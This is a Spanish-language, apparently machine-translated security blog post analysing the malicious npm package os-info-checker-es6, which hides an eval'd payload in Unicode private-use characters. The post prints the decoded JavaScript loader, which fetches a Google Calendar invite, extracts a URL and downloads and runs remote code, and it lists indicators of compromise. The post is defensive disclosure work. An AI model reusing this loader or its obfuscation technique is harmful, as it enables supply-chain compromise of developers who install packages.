El 19 de marzo de 2025, descubrimos un paquete llamado os-info-checker-es6
y nos sorprendió. Nos dimos cuenta de que no hacía lo que ponía en la etiqueta. Pero, ¿de qué se trataba? Decidimos investigar el asunto y al principio nos topamos con algunos callejones sin salida. Pero la paciencia da sus frutos y al final conseguimos la mayoría de las respuestas que buscábamos. También conocimos a los PUA Unicode (no, no son ligones). Fue una montaña rusa de emociones.
¿Qué es el paquete?
El paquete no da muchas pistas debido a la falta de un LÉAME
archivo. Este es el aspecto del paquete en npm:

No es muy informativo. Pero parece que obtiene información del sistema. Sigamos.
El código maloliente lo delata
Nuestra línea de análisis ha detectado inmediatamente muchas señales de alarma en el paquete de preinstalar.js
debido a la presencia de un eval()
con entrada codificada en base64.

Vemos el eval(atob(...))
llamada. Eso significa "Decodificar una cadena base64 y evaluarla", es decir, ejecutar código arbitrario. Eso nunca es una buena señal. ¿Pero cuál es la entrada?
La entrada es una cadena que resulta de llamar a descodificar()
en un módulo Node nativo incluido en el paquete. La entrada a esa función se parece a... Sólo un |
¡?! ¿Qué?
Tenemos varias grandes preguntas aquí:
- ¿Qué hace la función de descodificación?
- ¿Qué tiene que ver la descodificación con la comprobación de la información del sistema operativo?
- ¿Por qué?
eval()
¿'ing él? - ¿Por qué la única entrada es
|
?
Profundicemos
Decidimos hacer ingeniería inversa del binario. Es un pequeño binario Rust que no hace mucho. Inicialmente esperábamos ver algunas llamadas a funciones para obtener información del sistema operativo, pero no vimos NADA. Pensamos que quizás el binario escondía más secretos, proporcionando la respuesta a nuestra primera pregunta. Más sobre esto más adelante.
Pero entonces, ¿qué pasa con la entrada a la función de ser sólo un |
? Aquí es donde las cosas se ponen interesantes. Esa no es la entrada real. Copiamos el código en otro editor, y lo que vemos es:

¡Womp-womp! Casi se salen con la suya. Lo que vemos se llama caracteres Unicode "Private Use Access". Estos son códigos no asignados en el estándar Unicode, que está reservado para uso privado que la gente puede utilizar para definir sus propios símbolos para su aplicación. Son intrínsecamente no imprimibles, ya que no significan nada intrínsecamente.
En este caso, el descodificar
en el binario nativo de Node decodifica esos bytes en caracteres ASCII codificados en base64. Muy ingenioso.
Vamos a darle una vuelta
Así que decidimos examinar el código real. Por suerte, guarda el código ejecutado en un archivo run.txt. Y es sólo esto:
consola.log('Comprobar');
Eso es muy poco interesante. ¿Qué están tramando? ¿Por qué están haciendo todo este esfuerzo para ocultar este código? Nos quedamos atónitos.
Pero entonces...
Empezamos a ver paquetes publicados que dependían de este paquete, siendo uno de ellos del mismo autor. Eran:
skip-tot
(19 de marzo de 2025)- Es una copia del paquete
vue-skip-to
.
- Es una copia del paquete
vue-dev-serverr
(31 de marzo de 2025)- Es una copia del repositorio https://github.com/guru-git-man/first.
vue-dummyy
(3 de abril de 2025)- Es una copia del paquete
vue-dummy
.
- Es una copia del paquete
vue-bit
(3 de abril de 2025)- Es pretender ser el paquete
@teambit/bvm
. - No contiene código real.
- Es pretender ser el paquete
Todas tienen en común que añaden os-info-checker-es6
como dependencia, pero sin llamar nunca al descodificar
función. Qué decepción. No sabemos qué esperaban hacer los atacantes. No pasó nada durante un tiempo hasta que el os-info-checker-es6
El paquete se actualizó de nuevo tras una larga pausa.
FINALMENTE
Este caso me rondaba la cabeza desde hacía tiempo. No tenía sentido. ¿Qué intentaban hacer? ¿Me perdí algo obvio al descompilar el módulo nativo de Node? ¿Por qué un atacante quemaría esta novedosa capacidad tan pronto? La respuesta llegó el 7 de mayo de 2025, cuando una nueva versión de os-info-checker-es6
Versión 1.0.8
...salió. En preinstalar.js
ha cambiado.

¡Oh, mira, la cadena ofuscada es mucho más larga! Pero la evalúe
está comentada. Así que incluso si existe una carga maliciosa en la cadena ofuscada, no se ejecutaría. ¿Cómo? Ejecutamos el decodificador en una caja de arena e imprimimos la cadena decodificada. Aquí está después de un poco de embellecimiento y anotaciones manuales:
const https = require('https');
const fs = require('fs');
/**
* Extract the first capture group that matches the pattern:
* ${attrName}="([^\"]*)"
*/
const ljqguhblz = (html, attrName) => {
const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
return html.match(regex)[1];
};
/**
* Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
* pull the base-64-encoded payload URL from its data-attribute.
*/
const krswqebjtt = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
// Handle HTTP 30x redirects manually so we can keep extracting headers.
if (res.status !== 200) {
const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
return krswqebjtt(redirect, cb);
}
const body = await res.text();
cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
console.log(err);
cb(err);
}
};
/**
* Stage-2: download the real payload plus.
*/
const ymmogvj = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
const body = await res.text();
const h = res.headers;
cb(null, {
acxvacofz : body, // base-64 JS payload
yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'
secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'
});
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
cb(err);
}
};
/**
* Orchestrator: keeps trying the two stages until a payload is successfully executed.
*/
const mygofvzqxk = async () => {
await krswqebjtt(
atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
async (err, link) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
await ymmogvj(
atob(link),
async (err, { acxvacofz, yxajxgiht, secretKey }) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
if (acxvacofz.length === 20) {
return eval(atob(acxvacofz));
}
// Execute attacker-supplied code with current user privileges.
eval(atob(acxvacofz));
}
);
}
);
};
/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));
/* ---------- kick it all off ---------- */
mygofvzqxk();
/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
console.log(err);
fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
if (++yyzymzi > 10) process.exit(0);
await new Promise(r => setTimeout(r, 1000));
mygofvzqxk();
});
¿Has visto la URL a Google Calendar en el orquestador? Es algo interesante de ver en el malware. Muy emocionante.
Estáis todos invitados.
Este es el aspecto del enlace:

Una invitación de calendario con una cadena codificada en base64 como título. Preciosa. La foto de perfil de la pizza me hizo esperar que tal vez fuera una invitación a una fiesta de pizza, pero el evento está programado para el 7 de junio de 2027. No puedo esperar tanto por una pizza. Sin embargo, tomaré otra cadena codificada en base64. Esto es lo que decodifica:
http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D
En un callejón sin salida... otra vez
Esta investigación ha estado llena de altibajos. Creíamos que estábamos en un callejón sin salida, pero volvieron a aparecer señales de vida. Estuvimos muy cerca de descubrir las verdaderas intenciones maliciosas del desarrollador, pero no lo conseguimos.
No nos equivoquemos: se trata de un enfoque novedoso de la ofuscación. Uno pensaría que cualquiera que dedicara tiempo y esfuerzo a hacer algo así utilizaría las capacidades que ha desarrollado. En lugar de eso, parece que no han hecho nada con ello, mostrando sus cartas.
Como resultado, nuestro motor de análisis detecta ahora patrones como éste, en el que un atacante intenta ocultar datos en caracteres de control no imprimibles. Es otro caso en el que intentar ser inteligente, en lugar de dificultar la detección, en realidad crea más señales. Porque es tan inusual que sobresale y ondea una gran señal diciendo "NO ESTOY PARA NADA BUENO". Seguid así. 👍
Indicadores de compromiso
Paquetes
os-info-checker-es6
skip-tot
vue-dev-serverr
vue-dummyy
vue-bit
IPs
- 140.82.54[.]223
URL
- https://calendar.app[.]google/t56nfUUcugH9ZUkx9
Agradecimiento
Durante esta investigación, nos ayudaron nuestros grandes amigos de Vector35, que nos proporcionaron una licencia de prueba de su herramienta Binary Ninja para asegurarnos de que entendíamos perfectamente el módulo nativo de Node. Muchas gracias al equipo por su gran producto. 👏